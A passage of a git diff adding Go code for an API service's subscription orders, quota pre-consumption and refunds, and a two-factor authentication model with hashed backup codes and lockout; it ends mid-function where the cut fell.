+		return nil, errors.New("invalid plan")
+	}
+	if userId <= 0 {
+		return nil, errors.New("invalid user id")
+	}
+	if plan.MaxPurchasePerUser > 0 {
+		var count int64
+		if err := tx.Model(&UserSubscription{}).
+			Where("user_id = ? AND plan_id = ?", userId, plan.Id).
+			Count(&count).Error; err != nil {
+			return nil, err
+		}
+		if count >= int64(plan.MaxPurchasePerUser) {
+			return nil, errors.New("已达到该套餐购买上限")
+		}
+	}
+	nowUnix := GetDBTimestamp()
+	now := time.Unix(nowUnix, 0)
+	endUnix, err := calcPlanEndTime(now, plan)
+	if err != nil {
+		return nil, err
+	}
+	resetBase := now
+	nextReset := calcNextResetTime(resetBase, plan, endUnix)
+	lastReset := int64(0)
+	if nextReset > 0 {
+		lastReset = now.Unix()
+	}
+	upgradeGroup := strings.TrimSpace(plan.UpgradeGroup)
+	prevGroup := ""
+	if upgradeGroup != "" {
+		currentGroup, err := getUserGroupByIdTx(tx, userId)
+		if err != nil {
+			return nil, err
+		}
+		if currentGroup != upgradeGroup {
+			prevGroup = currentGroup
+			if err := tx.Model(&User{}).Where("id = ?", userId).
+				Update("group", upgradeGroup).Error; err != nil {
+				return nil, err
+			}
+		}
+	}
+	sub := &UserSubscription{
+		UserId:        userId,
+		PlanId:        plan.Id,
+		AmountTotal:   plan.TotalAmount,
+		AmountUsed:    0,
+		StartTime:     now.Unix(),
+		EndTime:       endUnix,
+		Status:        "active",
+		Source:        source,
+		LastResetTime: lastReset,
+		NextResetTime: nextReset,
+		UpgradeGroup:  upgradeGroup,
+		PrevUserGroup: prevGroup,
+		CreatedAt:     common.GetTimestamp(),
+		UpdatedAt:     common.GetTimestamp(),
+	}
+	if err := tx.Create(sub).Error; err != nil {
+		return nil, err
+	}
+	return sub, nil
+}
+
+// Complete a subscription order (idempotent). Creates a UserSubscription snapshot from the plan.
+// expectedPaymentProvider guards against cross-gateway callback attacks (empty skips the check).
+// actualPaymentMethod updates the order's PaymentMethod to reflect the real payment type used (empty skips update).
+func CompleteSubscriptionOrder(tradeNo string, providerPayload string, expectedPaymentProvider string, actualPaymentMethod string) error {
+	if tradeNo == "" {
+		return errors.New("tradeNo is empty")
+	}
+	refCol := "`trade_no`"
+	if common.UsingPostgreSQL {
+		refCol = `"trade_no"`
+	}
+	var logUserId int
+	var logPlanTitle string
+	var logMoney float64
+	var logPaymentMethod string
+	var upgradeGroup string
+	err := DB.Transaction(func(tx *gorm.DB) error {
+		var order SubscriptionOrder
+		if err := tx.Set("gorm:query_option", "FOR UPDATE").Where(refCol+" = ?", tradeNo).First(&order).Error; err != nil {
+			return ErrSubscriptionOrderNotFound
+		}
+		if expectedPaymentProvider != "" && order.PaymentProvider != expectedPaymentProvider {
+			return ErrPaymentMethodMismatch
+		}
+		if order.Status == common.TopUpStatusSuccess {
+			return nil
+		}
+		if order.Status != common.TopUpStatusPending {
+			return ErrSubscriptionOrderStatusInvalid
+		}
+		plan, err := GetSubscriptionPlanById(order.PlanId)
+		if err != nil {
+			return err
+		}
+		if !plan.Enabled {
+			// still allow completion for already purchased orders
+		}
+		upgradeGroup = strings.TrimSpace(plan.UpgradeGroup)
+		_, err = CreateUserSubscriptionFromPlanTx(tx, order.UserId, plan, "order")
+		if err != nil {
+			return err
+		}
+		if err := upsertSubscriptionTopUpTx(tx, &order); err != nil {
+			return err
+		}
+		order.Status = common.TopUpStatusSuccess
+		order.CompleteTime = common.GetTimestamp()
+		if providerPayload != "" {
+			order.ProviderPayload = providerPayload
+		}
+		if actualPaymentMethod != "" && order.PaymentMethod != actualPaymentMethod {
+			order.PaymentMethod = actualPaymentMethod
+		}
+		if err := tx.Save(&order).Error; err != nil {
+			return err
+		}
+		logUserId = order.UserId
+		logPlanTitle = plan.Title
+		logMoney = order.Money
+		logPaymentMethod = order.PaymentMethod
+		return nil
+	})
+	if err != nil {
+		return err
+	}
+	if upgradeGroup != "" && logUserId > 0 {
+		_ = UpdateUserGroupCache(logUserId, upgradeGroup)
+	}
+	if logUserId > 0 {
+		msg := fmt.Sprintf("订阅购买成功，套餐: %s，支付金额: %.2f，支付方式: %s", logPlanTitle, logMoney, logPaymentMethod)
+		RecordLog(logUserId, LogTypeTopup, msg)
+	}
+	return nil
+}
+
+func upsertSubscriptionTopUpTx(tx *gorm.DB, order *SubscriptionOrder) error {
+	if tx == nil || order == nil {
+		return errors.New("invalid subscription order")
+	}
+	now := common.GetTimestamp()
+	var topup TopUp
+	if err := tx.Where("trade_no = ?", order.TradeNo).First(&topup).Error; err != nil {
+		if errors.Is(err, gorm.ErrRecordNotFound) {
+			topup = TopUp{
+				UserId:        order.UserId,
+				Amount:        0,
+				Money:         order.Money,
+				TradeNo:       order.TradeNo,
+				PaymentMethod: order.PaymentMethod,
+				CreateTime:    order.CreateTime,
+				CompleteTime:  now,
+				Status:        common.TopUpStatusSuccess,
+			}
+			return tx.Create(&topup).Error
+		}
+		return err
+	}
+	topup.Money = order.Money
+	if topup.PaymentMethod == "" {
+		topup.PaymentMethod = order.PaymentMethod
+	} else if topup.PaymentMethod != order.PaymentMethod {
+		return ErrPaymentMethodMismatch
+	}
+	if topup.CreateTime == 0 {
+		topup.CreateTime = order.CreateTime
+	}
+	topup.CompleteTime = now
+	topup.Status = common.TopUpStatusSuccess
+	return tx.Save(&topup).Error
+}
+
+func ExpireSubscriptionOrder(tradeNo string, expectedPaymentProvider string) error {
+	if tradeNo == "" {
+		return errors.New("tradeNo is empty")
+	}
+	refCol := "`trade_no`"
+	if common.UsingPostgreSQL {
+		refCol = `"trade_no"`
+	}
+	return DB.Transaction(func(tx *gorm.DB) error {
+		var order SubscriptionOrder
+		if err := tx.Set("gorm:query_option", "FOR UPDATE").Where(refCol+" = ?", tradeNo).First(&order).Error; err != nil {
+			return ErrSubscriptionOrderNotFound
+		}
+		if expectedPaymentProvider != "" && order.PaymentProvider != expectedPaymentProvider {
+			return ErrPaymentMethodMismatch
+		}
+		if order.Status != common.TopUpStatusPending {
+			return nil
+		}
+		order.Status = common.TopUpStatusExpired
+		order.CompleteTime = common.GetTimestamp()
+		return tx.Save(&order).Error
+	})
+}
+
+// Admin bind (no payment). Creates a UserSubscription from a plan.
+func AdminBindSubscription(userId int, planId int, sourceNote string) (string, error) {
+	if userId <= 0 || planId <= 0 {
+		return "", errors.New("invalid userId or planId")
+	}
+	plan, err := GetSubscriptionPlanById(planId)
+	if err != nil {
+		return "", err
+	}
+	err = DB.Transaction(func(tx *gorm.DB) error {
+		_, err := CreateUserSubscriptionFromPlanTx(tx, userId, plan, "admin")
+		return err
+	})
+	if err != nil {
+		return "", err
+	}
+	if strings.TrimSpace(plan.UpgradeGroup) != "" {
+		_ = UpdateUserGroupCache(userId, plan.UpgradeGroup)
+		return fmt.Sprintf("用户分组将升级到 %s", plan.UpgradeGroup), nil
+	}
+	return "", nil
+}
+
+// GetAllActiveUserSubscriptions returns all active subscriptions for a user.
+func GetAllActiveUserSubscriptions(userId int) ([]SubscriptionSummary, error) {
+	if userId <= 0 {
+		return nil, errors.New("invalid userId")
+	}
+	now := common.GetTimestamp()
+	var subs []UserSubscription
+	err := DB.Where("user_id = ? AND status = ? AND end_time > ?", userId, "active", now).
+		Order("end_time desc, id desc").
+		Find(&subs).Error
+	if err != nil {
+		return nil, err
+	}
+	return buildSubscriptionSummaries(subs), nil
+}
+
+// HasActiveUserSubscription returns whether the user has any active subscription.
+// This is a lightweight existence check to avoid heavy pre-consume transactions.
+func HasActiveUserSubscription(userId int) (bool, error) {
+	if userId <= 0 {
+		return false, errors.New("invalid userId")
+	}
+	now := common.GetTimestamp()
+	var count int64
+	if err := DB.Model(&UserSubscription{}).
+		Where("user_id = ? AND status = ? AND end_time > ?", userId, "active", now).
+		Count(&count).Error; err != nil {
+		return false, err
+	}
+	return count > 0, nil
+}
+
+// GetAllUserSubscriptions returns all subscriptions (active and expired) for a user.
+func GetAllUserSubscriptions(userId int) ([]SubscriptionSummary, error) {
+	if userId <= 0 {
+		return nil, errors.New("invalid userId")
+	}
+	var subs []UserSubscription
+	err := DB.Where("user_id = ?", userId).
+		Order("end_time desc, id desc").
+		Find(&subs).Error
+	if err != nil {
+		return nil, err
+	}
+	return buildSubscriptionSummaries(subs), nil
+}
+
+func buildSubscriptionSummaries(subs []UserSubscription) []SubscriptionSummary {
+	if len(subs) == 0 {
+		return []SubscriptionSummary{}
+	}
+	result := make([]SubscriptionSummary, 0, len(subs))
+	for _, sub := range subs {
+		subCopy := sub
+		result = append(result, SubscriptionSummary{
+			Subscription: &subCopy,
+		})
+	}
+	return result
+}
+
+// AdminInvalidateUserSubscription marks a user subscription as cancelled and ends it immediately.
+func AdminInvalidateUserSubscription(userSubscriptionId int) (string, error) {
+	if userSubscriptionId <= 0 {
+		return "", errors.New("invalid userSubscriptionId")
+	}
+	now := common.GetTimestamp()
+	cacheGroup := ""
+	downgradeGroup := ""
+	var userId int
+	err := DB.Transaction(func(tx *gorm.DB) error {
+		var sub UserSubscription
+		if err := tx.Set("gorm:query_option", "FOR UPDATE").
+			Where("id = ?", userSubscriptionId).First(&sub).Error; err != nil {
+			return err
+		}
+		userId = sub.UserId
+		if err := tx.Model(&sub).Updates(map[string]interface{}{
+			"status":     "cancelled",
+			"end_time":   now,
+			"updated_at": now,
+		}).Error; err != nil {
+			return err
+		}
+		target, err := downgradeUserGroupForSubscriptionTx(tx, &sub, now)
+		if err != nil {
+			return err
+		}
+		if target != "" {
+			cacheGroup = target
+			downgradeGroup = target
+		}
+		return nil
+	})
+	if err != nil {
+		return "", err
+	}
+	if cacheGroup != "" && userId > 0 {
+		_ = UpdateUserGroupCache(userId, cacheGroup)
+	}
+	if downgradeGroup != "" {
+		return fmt.Sprintf("用户分组将回退到 %s", downgradeGroup), nil
+	}
+	return "", nil
+}
+
+// AdminDeleteUserSubscription hard-deletes a user subscription.
+func AdminDeleteUserSubscription(userSubscriptionId int) (string, error) {
+	if userSubscriptionId <= 0 {
+		return "", errors.New("invalid userSubscriptionId")
+	}
+	now := common.GetTimestamp()
+	cacheGroup := ""
+	downgradeGroup := ""
+	var userId int
+	err := DB.Transaction(func(tx *gorm.DB) error {
+		var sub UserSubscription
+		if err := tx.Set("gorm:query_option", "FOR UPDATE").
+			Where("id = ?", userSubscriptionId).First(&sub).Error; err != nil {
+			return err
+		}
+		userId = sub.UserId
+		target, err := downgradeUserGroupForSubscriptionTx(tx, &sub, now)
+		if err != nil {
+			return err
+		}
+		if target != "" {
+			cacheGroup = target
+			downgradeGroup = target
+		}
+		if err := tx.Where("id = ?", userSubscriptionId).Delete(&UserSubscription{}).Error; err != nil {
+			return err
+		}
+		return nil
+	})
+	if err != nil {
+		return "", err
+	}
+	if cacheGroup != "" && userId > 0 {
+		_ = UpdateUserGroupCache(userId, cacheGroup)
+	}
+	if downgradeGroup != "" {
+		return fmt.Sprintf("用户分组将回退到 %s", downgradeGroup), nil
+	}
+	return "", nil
+}
+
+type SubscriptionPreConsumeResult struct {
+	UserSubscriptionId int
+	PreConsumed        int64
+	AmountTotal        int64
+	AmountUsedBefore   int64
+	AmountUsedAfter    int64
+}
+
+// ExpireDueSubscriptions marks expired subscriptions and handles group downgrade.
+func ExpireDueSubscriptions(limit int) (int, error) {
+	if limit <= 0 {
+		limit = 200
+	}
+	now := GetDBTimestamp()
+	var subs []UserSubscription
+	if err := DB.Where("status = ? AND end_time > 0 AND end_time <= ?", "active", now).
+		Order("end_time asc, id asc").
+		Limit(limit).
+		Find(&subs).Error; err != nil {
+		return 0, err
+	}
+	if len(subs) == 0 {
+		return 0, nil
+	}
+	expiredCount := 0
+	userIds := make(map[int]struct{}, len(subs))
+	for _, sub := range subs {
+		if sub.UserId > 0 {
+			userIds[sub.UserId] = struct{}{}
+		}
+	}
+	for userId := range userIds {
+		cacheGroup := ""
+		err := DB.Transaction(func(tx *gorm.DB) error {
+			res := tx.Model(&UserSubscription{}).
+				Where("user_id = ? AND status = ? AND end_time > 0 AND end_time <= ?", userId, "active", now).
+				Updates(map[string]interface{}{
+					"status":     "expired",
+					"updated_at": common.GetTimestamp(),
+				})
+			if res.Error != nil {
+				return res.Error
+			}
+			expiredCount += int(res.RowsAffected)
+
+			// If there's an active upgraded subscription, keep current group.
+			var activeSub UserSubscription
+			activeQuery := tx.Where("user_id = ? AND status = ? AND end_time > ? AND upgrade_group <> ''",
+				userId, "active", now).
+				Order("end_time desc, id desc").
+				Limit(1).
+				Find(&activeSub)
+			if activeQuery.Error == nil && activeQuery.RowsAffected > 0 {
+				return nil
+			}
+
+			// No active upgraded subscription, downgrade to previous group if needed.
+			var lastExpired UserSubscription
+			expiredQuery := tx.Where("user_id = ? AND status = ? AND upgrade_group <> ''",
+				userId, "expired").
+				Order("end_time desc, id desc").
+				Limit(1).
+				Find(&lastExpired)
+			if expiredQuery.Error != nil || expiredQuery.RowsAffected == 0 {
+				return nil
+			}
+			upgradeGroup := strings.TrimSpace(lastExpired.UpgradeGroup)
+			prevGroup := strings.TrimSpace(lastExpired.PrevUserGroup)
+			if upgradeGroup == "" || prevGroup == "" {
+				return nil
+			}
+			currentGroup, err := getUserGroupByIdTx(tx, userId)
+			if err != nil {
+				return err
+			}
+			if currentGroup != upgradeGroup || currentGroup == prevGroup {
+				return nil
+			}
+			if err := tx.Model(&User{}).Where("id = ?", userId).
+				Update("group", prevGroup).Error; err != nil {
+				return err
+			}
+			cacheGroup = prevGroup
+			return nil
+		})
+		if err != nil {
+			return expiredCount, err
+		}
+		if cacheGroup != "" {
+			_ = UpdateUserGroupCache(userId, cacheGroup)
+		}
+	}
+	return expiredCount, nil
+}
+
+// SubscriptionPreConsumeRecord stores idempotent pre-consume operations per request.
+type SubscriptionPreConsumeRecord struct {
+	Id                 int    `json:"id"`
+	RequestId          string `json:"request_id" gorm:"type:varchar(64);uniqueIndex"`
+	UserId             int    `json:"user_id" gorm:"index"`
+	UserSubscriptionId int    `json:"user_subscription_id" gorm:"index"`
+	PreConsumed        int64  `json:"pre_consumed" gorm:"type:bigint;not null;default:0"`
+	Status             string `json:"status" gorm:"type:varchar(32);index"` // consumed/refunded
+	CreatedAt          int64  `json:"created_at" gorm:"bigint"`
+	UpdatedAt          int64  `json:"updated_at" gorm:"bigint;index"`
+}
+
+func (r *SubscriptionPreConsumeRecord) BeforeCreate(tx *gorm.DB) error {
+	now := common.GetTimestamp()
+	r.CreatedAt = now
+	r.UpdatedAt = now
+	return nil
+}
+
+func (r *SubscriptionPreConsumeRecord) BeforeUpdate(tx *gorm.DB) error {
+	r.UpdatedAt = common.GetTimestamp()
+	return nil
+}
+
+func maybeResetUserSubscriptionWithPlanTx(tx *gorm.DB, sub *UserSubscription, plan *SubscriptionPlan, now int64) error {
+	if tx == nil || sub == nil || plan == nil {
+		return errors.New("invalid reset args")
+	}
+	if sub.NextResetTime > 0 && sub.NextResetTime > now {
+		return nil
+	}
+	if NormalizeResetPeriod(plan.QuotaResetPeriod) == SubscriptionResetNever {
+		return nil
+	}
+	baseUnix := sub.LastResetTime
+	if baseUnix <= 0 {
+		baseUnix = sub.StartTime
+	}
+	base := time.Unix(baseUnix, 0)
+	next := calcNextResetTime(base, plan, sub.EndTime)
+	advanced := false
+	for next > 0 && next <= now {
+		advanced = true
+		base = time.Unix(next, 0)
+		next = calcNextResetTime(base, plan, sub.EndTime)
+	}
+	if !advanced {
+		if sub.NextResetTime == 0 && next > 0 {
+			sub.NextResetTime = next
+			sub.LastResetTime = base.Unix()
+			return tx.Save(sub).Error
+		}
+		return nil
+	}
+	sub.AmountUsed = 0
+	sub.LastResetTime = base.Unix()
+	sub.NextResetTime = next
+	return tx.Save(sub).Error
+}
+
+// PreConsumeUserSubscription pre-consumes from any active subscription total quota.
+func PreConsumeUserSubscription(requestId string, userId int, modelName string, quotaType int, amount int64) (*SubscriptionPreConsumeResult, error) {
+	if userId <= 0 {
+		return nil, errors.New("invalid userId")
+	}
+	if strings.TrimSpace(requestId) == "" {
+		return nil, errors.New("requestId is empty")
+	}
+	if amount <= 0 {
+		return nil, errors.New("amount must be > 0")
+	}
+	now := GetDBTimestamp()
+
+	returnValue := &SubscriptionPreConsumeResult{}
+
+	err := DB.Transaction(func(tx *gorm.DB) error {
+		var existing SubscriptionPreConsumeRecord
+		query := tx.Where("request_id = ?", requestId).Limit(1).Find(&existing)
+		if query.Error != nil {
+			return query.Error
+		}
+		if query.RowsAffected > 0 {
+			if existing.Status == "refunded" {
+				return errors.New("subscription pre-consume already refunded")
+			}
+			var sub UserSubscription
+			if err := tx.Where("id = ?", existing.UserSubscriptionId).First(&sub).Error; err != nil {
+				return err
+			}
+			returnValue.UserSubscriptionId = sub.Id
+			returnValue.PreConsumed = existing.PreConsumed
+			returnValue.AmountTotal = sub.AmountTotal
+			returnValue.AmountUsedBefore = sub.AmountUsed
+			returnValue.AmountUsedAfter = sub.AmountUsed
+			return nil
+		}
+
+		var subs []UserSubscription
+		if err := tx.Set("gorm:query_option", "FOR UPDATE").
+			Where("user_id = ? AND status = ? AND end_time > ?", userId, "active", now).
+			Order("end_time asc, id asc").
+			Find(&subs).Error; err != nil {
+			return errors.New("no active subscription")
+		}
+		if len(subs) == 0 {
+			return errors.New("no active subscription")
+		}
+		for _, candidate := range subs {
+			sub := candidate
+			plan, err := getSubscriptionPlanByIdTx(tx, sub.PlanId)
+			if err != nil {
+				return err
+			}
+			if err := maybeResetUserSubscriptionWithPlanTx(tx, &sub, plan, now); err != nil {
+				return err
+			}
+			usedBefore := sub.AmountUsed
+			if sub.AmountTotal > 0 {
+				remain := sub.AmountTotal - usedBefore
+				if remain < amount {
+					continue
+				}
+			}
+			record := &SubscriptionPreConsumeRecord{
+				RequestId:          requestId,
+				UserId:             userId,
+				UserSubscriptionId: sub.Id,
+				PreConsumed:        amount,
+				Status:             "consumed",
+			}
+			if err := tx.Create(record).Error; err != nil {
+				var dup SubscriptionPreConsumeRecord
+				if err2 := tx.Where("request_id = ?", requestId).First(&dup).Error; err2 == nil {
+					if dup.Status == "refunded" {
+						return errors.New("subscription pre-consume already refunded")
+					}
+					returnValue.UserSubscriptionId = sub.Id
+					returnValue.PreConsumed = dup.PreConsumed
+					returnValue.AmountTotal = sub.AmountTotal
+					returnValue.AmountUsedBefore = sub.AmountUsed
+					returnValue.AmountUsedAfter = sub.AmountUsed
+					return nil
+				}
+				return err
+			}
+			sub.AmountUsed += amount
+			if err := tx.Save(&sub).Error; err != nil {
+				return err
+			}
+			returnValue.UserSubscriptionId = sub.Id
+			returnValue.PreConsumed = amount
+			returnValue.AmountTotal = sub.AmountTotal
+			returnValue.AmountUsedBefore = usedBefore
+			returnValue.AmountUsedAfter = sub.AmountUsed
+			return nil
+		}
+		return fmt.Errorf("subscription quota insufficient, need=%d", amount)
+	})
+	if err != nil {
+		return nil, err
+	}
+	return returnValue, nil
+}
+
+// RefundSubscriptionPreConsume is idempotent and refunds pre-consumed subscription quota by requestId.
+func RefundSubscriptionPreConsume(requestId string) error {
+	if strings.TrimSpace(requestId) == "" {
+		return errors.New("requestId is empty")
+	}
+	return DB.Transaction(func(tx *gorm.DB) error {
+		var record SubscriptionPreConsumeRecord
+		if err := tx.Set("gorm:query_option", "FOR UPDATE").
+			Where("request_id = ?", requestId).First(&record).Error; err != nil {
+			return err
+		}
+		if record.Status == "refunded" {
+			return nil
+		}
+		if record.PreConsumed <= 0 {
+			record.Status = "refunded"
+			return tx.Save(&record).Error
+		}
+		if err := PostConsumeUserSubscriptionDelta(record.UserSubscriptionId, -record.PreConsumed); err != nil {
+			return err
+		}
+		record.Status = "refunded"
+		return tx.Save(&record).Error
+	})
+}
+
+// ResetDueSubscriptions resets subscriptions whose next_reset_time has passed.
+func ResetDueSubscriptions(limit int) (int, error) {
+	if limit <= 0 {
+		limit = 200
+	}
+	now := GetDBTimestamp()
+	var subs []UserSubscription
+	if err := DB.Where("next_reset_time > 0 AND next_reset_time <= ? AND status = ?", now, "active").
+		Order("next_reset_time asc").
+		Limit(limit).
+		Find(&subs).Error; err != nil {
+		return 0, err
+	}
+	if len(subs) == 0 {
+		return 0, nil
+	}
+	resetCount := 0
+	for _, sub := range subs {
+		subCopy := sub
+		plan, err := getSubscriptionPlanByIdTx(nil, sub.PlanId)
+		if err != nil || plan == nil {
+			continue
+		}
+		err = DB.Transaction(func(tx *gorm.DB) error {
+			var locked UserSubscription
+			if err := tx.Set("gorm:query_option", "FOR UPDATE").
+				Where("id = ? AND next_reset_time > 0 AND next_reset_time <= ?", subCopy.Id, now).
+				First(&locked).Error; err != nil {
+				return nil
+			}
+			if err := maybeResetUserSubscriptionWithPlanTx(tx, &locked, plan, now); err != nil {
+				return err
+			}
+			resetCount++
+			return nil
+		})
+		if err != nil {
+			return resetCount, err
+		}
+	}
+	return resetCount, nil
+}
+
+// CleanupSubscriptionPreConsumeRecords removes old idempotency records to keep table small.
+func CleanupSubscriptionPreConsumeRecords(olderThanSeconds int64) (int64, error) {
+	if olderThanSeconds <= 0 {
+		olderThanSeconds = 7 * 24 * 3600
+	}
+	cutoff := GetDBTimestamp() - olderThanSeconds
+	res := DB.Where("updated_at < ?", cutoff).Delete(&SubscriptionPreConsumeRecord{})
+	return res.RowsAffected, res.Error
+}
+
+type SubscriptionPlanInfo struct {
+	PlanId    int
+	PlanTitle string
+}
+
+func GetSubscriptionPlanInfoByUserSubscriptionId(userSubscriptionId int) (*SubscriptionPlanInfo, error) {
+	if userSubscriptionId <= 0 {
+		return nil, errors.New("invalid userSubscriptionId")
+	}
+	cacheKey := fmt.Sprintf("sub:%d", userSubscriptionId)
+	if cached, found, err := getSubscriptionPlanInfoCache().Get(cacheKey); err == nil && found {
+		return &cached, nil
+	}
+	var sub UserSubscription
+	if err := DB.Where("id = ?", userSubscriptionId).First(&sub).Error; err != nil {
+		return nil, err
+	}
+	plan, err := getSubscriptionPlanByIdTx(nil, sub.PlanId)
+	if err != nil {
+		return nil, err
+	}
+	info := &SubscriptionPlanInfo{
+		PlanId:    sub.PlanId,
+		PlanTitle: plan.Title,
+	}
+	_ = getSubscriptionPlanInfoCache().SetWithTTL(cacheKey, *info, subscriptionPlanInfoCacheTTL())
+	return info, nil
+}
+
+// Update subscription used amount by delta (positive consume more, negative refund).
+func PostConsumeUserSubscriptionDelta(userSubscriptionId int, delta int64) error {
+	if userSubscriptionId <= 0 {
+		return errors.New("invalid userSubscriptionId")
+	}
+	if delta == 0 {
+		return nil
+	}
+	return DB.Transaction(func(tx *gorm.DB) error {
+		var sub UserSubscription
+		if err := tx.Set("gorm:query_option", "FOR UPDATE").
+			Where("id = ?", userSubscriptionId).
+			First(&sub).Error; err != nil {
+			return err
+		}
+		newUsed := sub.AmountUsed + delta
+		if newUsed < 0 {
+			newUsed = 0
+		}
+		if sub.AmountTotal > 0 && newUsed > sub.AmountTotal {
+			return fmt.Errorf("subscription used exceeds total, used=%d total=%d", newUsed, sub.AmountTotal)
+		}
+		sub.AmountUsed = newUsed
+		return tx.Save(&sub).Error
+	})
+}
diff --git a/new-api/model/twofa.go b/new-api/model/twofa.go
new file mode 100644
index 0000000..a2d0c7e
--- /dev/null
+++ b/new-api/model/twofa.go
@@ -0,0 +1,321 @@
+package model
+
+import (
+	"errors"
+	"fmt"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+
+	"gorm.io/gorm"
+)
+
+// TwoFA 用户2FA设置表
+type TwoFA struct {
+	Id             int            `json:"id" gorm:"primaryKey"`
+	UserId         int            `json:"user_id" gorm:"unique;not null;index"`
+	Secret         string         `json:"-" gorm:"type:varchar(255);not null"` // TOTP密钥，不返回给前端
+	IsEnabled      bool           `json:"is_enabled"`
+	FailedAttempts int            `json:"failed_attempts" gorm:"default:0"`
+	LockedUntil    *time.Time     `json:"locked_until,omitempty"`
+	LastUsedAt     *time.Time     `json:"last_used_at,omitempty"`
+	CreatedAt      time.Time      `json:"created_at"`
+	UpdatedAt      time.Time      `json:"updated_at"`
+	DeletedAt      gorm.DeletedAt `json:"-" gorm:"index"`
+}
+
+// TwoFABackupCode 备用码使用记录表
+type TwoFABackupCode struct {
+	Id        int            `json:"id" gorm:"primaryKey"`
+	UserId    int            `json:"user_id" gorm:"not null;index"`
+	CodeHash  string         `json:"-" gorm:"type:varchar(255);not null"` // 备用码哈希
+	IsUsed    bool           `json:"is_used"`
+	UsedAt    *time.Time     `json:"used_at,omitempty"`
+	CreatedAt time.Time      `json:"created_at"`
+	DeletedAt gorm.DeletedAt `json:"-" gorm:"index"`
+}
+
+// GetTwoFAByUserId 根据用户ID获取2FA设置
+func GetTwoFAByUserId(userId int) (*TwoFA, error) {
+	if userId == 0 {
+		return nil, errors.New("用户ID不能为空")
+	}
+
+	var twoFA TwoFA
+	err := DB.Where("user_id = ?", userId).First(&twoFA).Error
+	if err != nil {
+		if errors.Is(err, gorm.ErrRecordNotFound) {
+			return nil, nil // 返回nil表示未设置2FA
+		}
+		return nil, err
+	}
+
+	return &twoFA, nil
+}
+
+// IsTwoFAEnabled 检查用户是否启用了2FA
+func IsTwoFAEnabled(userId int) bool {
+	twoFA, err := GetTwoFAByUserId(userId)
+	if err != nil || twoFA == nil {
+		return false
+	}
+	return twoFA.IsEnabled
+}
+
+// CreateTwoFA 创建2FA设置
+func (t *TwoFA) Create() error {
+	// 检查用户是否已存在2FA设置
+	existing, err := GetTwoFAByUserId(t.UserId)
+	if err != nil {
+		return err
+	}
+	if existing != nil {
+		return errors.New("用户已存在2FA设置")
+	}
+
+	// 验证用户存在
+	var user User
+	if err := DB.First(&user, t.UserId).Error; err != nil {
+		if errors.Is(err, gorm.ErrRecordNotFound) {
+			return errors.New("用户不存在")
+		}
+		return err
+	}
+
+	return DB.Create(t).Error
+}
+
+// Update 更新2FA设置
+func (t *TwoFA) Update() error {
+	if t.Id == 0 {
+		return errors.New("2FA记录ID不能为空")
+	}
+	return DB.Save(t).Error
+}
+
+// Delete 删除2FA设置
+func (t *TwoFA) Delete() error {
+	if t.Id == 0 {
+		return errors.New("2FA记录ID不能为空")
+	}
+
+	// 使用事务确保原子性
+	return DB.Transaction(func(tx *gorm.DB) error {
+		// 同时删除相关的备用码记录（硬删除）
+		if err := tx.Unscoped().Where("user_id = ?", t.UserId).Delete(&TwoFABackupCode{}).Error; err != nil {
+			return err
+		}
+
+		// 硬删除2FA记录
+		return tx.Unscoped().Delete(t).Error
+	})
+}
+
+// ResetFailedAttempts 重置失败尝试次数
+func (t *TwoFA) ResetFailedAttempts() error {
+	t.FailedAttempts = 0
+	t.LockedUntil = nil
+	return t.Update()
+}
+
+// IncrementFailedAttempts 增加失败尝试次数
+func (t *TwoFA) IncrementFailedAttempts() error {
+	t.FailedAttempts++
+
+	// 检查是否需要锁定
+	if t.FailedAttempts >= common.MaxFailAttempts {
+		lockUntil := time.Now().Add(time.Duration(common.LockoutDuration) * time.Second)
+		t.LockedUntil = &lockUntil
+	}
+
+	return t.Update()
+}
+
+// IsLocked 检查账户是否被锁定
+func (t *TwoFA) IsLocked() bool {
+	if t.LockedUntil == nil {
+		return false
+	}
+	return time.Now().Before(*t.LockedUntil)
+}
+
+// CreateBackupCodes 创建备用码
+func CreateBackupCodes(userId int, codes []string) error {
+	return DB.Transaction(func(tx *gorm.DB) error {
+		// 先删除现有的备用码
+		if err := tx.Where("user_id = ?", userId).Delete(&TwoFABackupCode{}).Error; err != nil {
+			return err
+		}
+
+		// 创建新的备用码记录
+		for _, code := range codes {
+			hashedCode, err := common.HashBackupCode(code)
+			if err != nil {
+				return err
+			}
+
+			backupCode := TwoFABackupCode{
+				UserId:   userId,
+				CodeHash: hashedCode,
+				IsUsed:   false,
+			}
+
+			if err := tx.Create(&backupCode).Error; err != nil {
+				return err
+			}
+		}
+
+		return nil
+	})
+}
+
+// ValidateBackupCode 验证并使用备用码
+func ValidateBackupCode(userId int, code string) (bool, error) {
+	if !common.ValidateBackupCode(code) {
+		return false, errors.New("验证码或备用码不正确")
+	}
+
+	normalizedCode := common.NormalizeBackupCode(code)
+
+	// 查找未使用的备用码
+	var backupCodes []TwoFABackupCode
+	if err := DB.Where("user_id = ? AND is_used = false", userId).Find(&backupCodes).Error; err != nil {
+		return false, err
+	}
+
+	// 验证备用码
+	for _, bc := range backupCodes {
+		if common.ValidatePasswordAndHash(normalizedCode, bc.CodeHash) {
+			// 标记为已使用
+			now := time.Now()
+			bc.IsUsed = true
+			bc.UsedAt = &now
+
+			if err := DB.Save(&bc).Error; err != nil {
+				return false, err
+			}
+
+			return true, nil
+		}
+	}
+
+	return false, nil
+}
+
+// GetUnusedBackupCodeCount 获取未使用的备用码数量
+func GetUnusedBackupCodeCount(userId int) (int, error) {
+	var count int64
+	err := DB.Model(&TwoFABackupCode{}).Where("user_id = ? AND is_used = false", userId).Count(&count).Error
+	return int(count), err
+}
+
+// DisableTwoFA 禁用用户的2FA
+func DisableTwoFA(userId int) error {
+	twoFA, err := GetTwoFAByUserId(userId)
+	if err != nil {
+		return err
+	}
+	if twoFA == nil {
+		return ErrTwoFANotEnabled
+	}
+
+	// 删除2FA设置和备用码
+	return twoFA.Delete()
+}
+
+// EnableTwoFA 启用2FA
+func (t *TwoFA) Enable() error {
+	t.IsEnabled = true
+	t.FailedAttempts = 0
+	t.LockedUntil = nil
+	return t.Update()
+}
+
+// ValidateTOTPAndUpdateUsage 验证TOTP并更新使用记录
+func (t *TwoFA) ValidateTOTPAndUpdateUsage(code string) (bool, error) {
+	// 检查是否被锁定
+	if t.IsLocked() {
+		return false, fmt.Errorf("账户已被锁定，请在%v后重试", t.LockedUntil.Format("2006-01-02 15:04:05"))
+	}
+
+	// 验证TOTP码
+	if !common.ValidateTOTPCode(t.Secret, code) {
+		// 增加失败次数
+		if err := t.IncrementFailedAttempts(); err != nil {
